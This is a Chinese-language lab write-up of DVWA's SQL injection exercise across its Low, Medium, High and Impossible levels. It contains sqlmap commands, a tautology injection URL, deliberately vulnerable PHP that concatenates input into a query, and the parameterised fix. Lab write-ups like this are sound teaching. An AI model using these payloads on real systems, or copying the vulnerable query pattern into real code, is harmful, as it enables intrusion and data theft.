DVWA
DVWA => 备份地址
SQL Injection(sql注入)
Low
sqlmap测试
使用burpsuit
拦截请求
将请求保存为文本文件
使用sqlmap
对已保存的请求做sql注入
1
| sqlmap -r ./sql.injection/sql.injection.low.txt --level=5 --risk=3 -p id
|
根据sqlmap
结果构造恶意注入
1 2 3 4
|
http://train.com/dvwa/vulnerabilities/sqli/?id=1%27or%271%27%3D%271&Submit=Submit
|
源码分析
直接从request
中获取参数
1 2
| $id = $_REQUEST[ 'id' ];
|
直接将参数拼接入SQL文中查询
1 2 3
| $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
|
Medium
sqlmap测试
使用burpsuit
拦截请求
将请求保存为文本文件
使用sqlmap
对已保存的请求做sql注入
1
| sqlmap -r ./sql.injection/sql.injection.medium.txt --level=5 --risk=3 -p id --batch
|
根据sqlmap
结果构造恶意注入
源码分析
High
High
级别主要是提交请求页面
与结果渲染页面
分离,此举主要为了防止sqlmap
等自动化工具测试。
不过sqlmap
有--second-url=xxx
参数,可以用来手动指定结果渲染页面url
。
Impossible
源码分析
从token
中验证身份
1 2
| checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
|
从request
中获取参数
判断参数是否为数字
1 2 3 4
| if(is_numeric( $id )) { }
|
将参数转为int
值
将参数以PDO
的方式预编译进sql中进行查询
1 2 3 4 5
| $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch();
|